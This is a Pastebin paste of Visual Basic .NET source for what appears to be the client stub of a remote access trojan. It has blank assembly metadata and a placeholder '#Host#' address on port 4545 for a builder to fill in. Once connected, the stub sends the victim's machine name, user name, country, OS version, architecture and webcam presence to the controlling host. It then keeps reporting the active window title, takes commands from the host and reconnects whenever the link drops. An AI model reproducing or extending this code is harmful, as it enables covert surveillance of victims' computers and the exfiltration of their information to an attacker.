Advertisement
Guest User

Untitled

a guest
Oct 18th, 2019
100
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 9.49 KB | None | 0 0
  1. Imports System
  2. Imports Microsoft.VisualBasic
  3. Imports System.Reflection
  4. Imports System.Net
  5. Imports System.Net.Sockets
  6. Imports System.Threading
  7. Imports System.IO
  8. Imports System.Runtime.InteropServices
  9. Imports System.Text.RegularExpressions
  10. Imports System.Text
  11. Imports Microsoft.Win32
  12. Imports System.Net.NetworkInformation
  13. Imports Microsoft.VisualBasic.CompilerServices
  14. Imports Microsoft.VisualBasic.Devices
  15. Imports System.Collections.Generic
  16. Imports System.Diagnostics
  17. Imports System.Runtime.CompilerServices
  18. <Assembly: AssemblyTitle("")>
  19. <Assembly: AssemblyDescription("")>
  20. <Assembly: AssemblyCompany("")>
  21. <Assembly: AssemblyProduct("")>
  22. <Assembly: AssemblyCopyright("")>
  23. <Assembly: AssemblyTrademark("")>
  24. <Assembly: AssemblyVersion("3.5.2.4")>
  25. <Assembly: AssemblyFileVersion("0.0.0.0")>
  26. Module Module1
  27. Public h As String = "#Host#"
  28. Public port As Integer = 4545
  29. Public Name As String = "#Name#"
  30. Public Y As String = "/j|n\"
  31. Public Ver As String = "0.1 BETA"
  32. Public F As New Microsoft.VisualBasic.Devices.Computer
  33. Public C As New TCP
  34. Public Sub main()
  35. Dim oldwindow As String = ""
  36. While True
  37. Thread.CurrentThread.Sleep(5000)
  38. Dim s = ACT()
  39. If s <> oldwindow Then
  40. oldwindow = s
  41. C.Send("!1" & Y & s)
  42. End If
  43. End While
  44. End Sub
  45. Public Sub IND(ByVal b As Byte())
  46. Dim A As String() = Split(BS(b), Y)
  47. Select Case A(0)
  48. Case "ping"
  49. C.Send("ping")
  50. Case "Close"
  51. End
  52. Case "Restart"
  53.  
  54. End
  55. End Select
  56. End Sub
  57. Public Function INF() As String
  58. Dim x As String = Name & Y
  59. ' get pc name
  60. Try
  61. x &= Environment.MachineName & Y
  62. Catch ex As Exception
  63. x &= "??" & Y
  64. End Try
  65. ' get User name
  66. Try
  67. x &= Environment.UserName & Y
  68. Catch ex As Exception
  69. x &= "??" & Y
  70. End Try
  71. ' get Country
  72. x &= Gcc() & Y
  73. ' Get OS
  74. Try
  75. x += F.Info.OSFullName.Replace("Microsoft", "").Replace("Windows", "Win").Replace("®", "").Replace("™", "").Replace(" ", " ").Replace(" Win", "Win")
  76. Catch ex As Exception
  77. x += "??" '& Y
  78. End Try
  79. x += "SP"
  80. Try
  81. Dim k As String() = Split(Environment.OSVersion.ServicePack, " ")
  82. If k.Length = 1 Then
  83. x &= "0"
  84. End If
  85. x &= k(k.Length - 1)
  86. Catch ex As Exception
  87. x &= "0"
  88. End Try
  89. Try
  90. If Environment.GetFolderPath(38).Contains("x86") Then
  91. x += " x64" & Y
  92. Else
  93. x += " x86" & Y
  94. End If
  95. Catch ex As Exception
  96. x += Y
  97. End Try
  98. ' cam
  99. If Cam() Then
  100. x &= "Yes" & Y
  101. Else
  102. x &= "No" & Y
  103. End If
  104. ' version
  105. x &= Ver & Y
  106. ' ping
  107. x &= "" & Y
  108. x &= ACT() & Y
  109. Return x
  110. End Function
  111. '====================================== Window API
  112. Public Declare Function GetForegroundWindow Lib "user32.dll" () As IntPtr ' Get Active window Handle
  113. Public Declare Function GetWindowThreadProcessId Lib "user32.dll" (ByVal hwnd As IntPtr, ByRef lpdwProcessID As Integer) As Integer
  114. Public Declare Function GetWindowText Lib "user32.dll" Alias "GetWindowTextA" (ByVal hWnd As IntPtr, ByVal WinTitle As String, ByVal MaxLength As Integer) As Integer
  115. Public Declare Function GetWindowTextLength Lib "user32.dll" Alias "GetWindowTextLengthA" (ByVal hwnd As Long) As Integer
  116. Public Function ACT() As String ' Get Active Window Text
  117. Try
  118. Dim h As IntPtr = GetForegroundWindow()
  119. If h = IntPtr.Zero Then
  120. Return ""
  121. End If
  122. Dim w As Integer
  123. w = GetWindowTextLength(h)
  124. Dim t As String = StrDup(w + 1, "*")
  125. GetWindowText(h, t, w + 1)
  126. Dim pid As Integer
  127. GetWindowThreadProcessId(h, pid)
  128. If pid = 0 Then
  129. Return t
  130. Else
  131. Try
  132. Return Diagnostics.Process.GetProcessById(pid).MainWindowTitle()
  133. Catch ex As Exception
  134. Return t
  135. End Try
  136. End If
  137. Catch ex As Exception
  138. Return ""
  139. End Try
  140. End Function
  141. Public Function BS(ByVal b As Byte()) As String ' bytes to String
  142. Return System.Text.Encoding.Default.GetString(b)
  143. End Function
  144. Public Function SB(ByVal s As String) As Byte() ' String to bytes
  145. Return System.Text.Encoding.Default.GetBytes(s)
  146. End Function
  147. Function fx(ByVal b As Byte(), ByVal WRD As String) As Array ' split bytes by word
  148. Dim a As New List(Of Byte())
  149. Dim M As New IO.MemoryStream
  150. Dim MM As New IO.MemoryStream
  151. Dim T As String() = Split(BS(b), WRD)
  152. M.Write(b, 0, T(0).Length)
  153. MM.Write(b, T(0).Length + WRD.Length, b.Length - (T(0).Length + WRD.Length))
  154. a.Add(M.ToArray)
  155. a.Add(MM.ToArray)
  156. M.Dispose()
  157. MM.Dispose()
  158. Return a.ToArray
  159. End Function
  160. '=============================== PC Country
  161. <DllImport("kernel32.dll")> _
  162. Private Function GetLocaleInfo(ByVal Locale As UInteger, ByVal LCType As UInteger, <Out()> ByVal lpLCData As System.Text.StringBuilder, ByVal cchData As Integer) As Integer
  163. End Function
  164. Public Function Gcc() As String
  165. Try
  166. Dim d = New System.Text.StringBuilder(256)
  167. Dim i As Integer = GetLocaleInfo(&H400, &H7, d, d.Capacity)
  168. If i > 0 Then
  169. Return d.ToString().Substring(0, i - 1)
  170. End If
  171. Catch ex As Exception
  172. End Try
  173. Return "X"
  174. End Function
  175. '=============================== Cam Drivers
  176. Declare Function capGetDriverDescriptionA Lib "avicap32.dll" (ByVal wDriver As Short, _
  177. ByVal lpszName As String, ByVal cbName As Integer, ByVal lpszVer As String, _
  178. ByVal cbVer As Integer) As Boolean
  179. Public Function Cam() As Boolean
  180. Try
  181. Dim d As String = Space(100)
  182. For i As Integer = 0 To 4
  183. If capGetDriverDescriptionA(i, d, 100, Nothing, 100) Then
  184. Return True
  185. End If
  186. Next
  187. Catch ex As Exception
  188. End Try
  189. Return False
  190. End Function
  191. End Module
  192. Public Class TCP
  193. Public SPL As String = "[endof]"
  194. Public C As Net.Sockets.TcpClient
  195. Sub New()
  196. Dim t As New Threading.Thread(AddressOf RC)
  197. t.Start()
  198. End Sub
  199. Public Sub Send(ByVal b As Byte())
  200. If CN = False Then Exit Sub
  201. Try
  202. Dim r As Object = New IO.MemoryStream
  203. r.Write(b, 0, b.Length)
  204. r.Write(SB(SPL), 0, SPL.Length)
  205. C.Client.Send(r.ToArray, 0, r.Length, Net.Sockets.SocketFlags.None)
  206. r.Dispose()
  207. Catch ex As Exception
  208. CN = False
  209. End Try
  210. End Sub
  211. Public Sub Send(ByVal S As String)
  212. Send(SB(S))
  213. End Sub
  214. Private CN As Boolean = False
  215. Sub RC()
  216. Dim M As New IO.MemoryStream ' create memory stream
  217. Dim lp As Integer = 0
  218. re:
  219. Try
  220. If C Is Nothing Then GoTo e
  221. If C.Client.Connected = False Then GoTo e
  222. If CN = False Then GoTo e
  223. lp += 1
  224. If lp > 500 Then
  225. lp = 0
  226. ' check if i am still connected
  227. If C.Client.Poll(-1, Net.Sockets.SelectMode.SelectRead) And C.Client.Available <= 0 Then GoTo e
  228. End If
  229. If C.Available > 0 Then
  230. Dim B(C.Available - 1) As Byte
  231. C.Client.Receive(B, 0, B.Length, Net.Sockets.SocketFlags.None)
  232. M.Write(B, 0, B.Length)
  233. rr:
  234. If BS(M.ToArray).Contains(SPL) Then ' split packet..
  235. Dim A As Array = fx(M.ToArray, SPL)
  236. Dim T As New Thread(AddressOf IND)
  237. T.Start(A(0))
  238. M.Dispose()
  239. M = New IO.MemoryStream
  240. If A.Length = 2 Then
  241. M.Write(A(1), 0, A(1).length)
  242. GoTo rr
  243. End If
  244. End If
  245. End If
  246. Catch ex As Exception
  247. GoTo e
  248. End Try
  249. Threading.Thread.CurrentThread.Sleep(1)
  250. GoTo re
  251. e: ' clear things and ReConnect
  252. CN = False
  253. Try
  254. C.Client.Disconnect(False)
  255. Catch ex As Exception
  256. End Try
  257. Try
  258. M.Dispose()
  259. Catch ex As Exception
  260. End Try
  261. M = New IO.MemoryStream
  262. Try
  263. C = New Net.Sockets.TcpClient
  264. C.ReceiveTimeout = -1
  265. C.SendTimeout = -1
  266. C.SendBufferSize = 999999
  267. C.ReceiveBufferSize = 999999
  268. C.Client.SendBufferSize = 999999
  269. C.Client.ReceiveBufferSize = 999999
  270. lp = 0
  271. C.Client.Connect(h, port)
  272. CN = True
  273. Send("!0" & Y & INF()) ' Send My INFO after connect
  274. Catch ex As Exception
  275. Threading.Thread.CurrentThread.Sleep(2500)
  276. GoTo e
  277. End Try
  278. GoTo re
  279. End Sub
  280. End Class
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement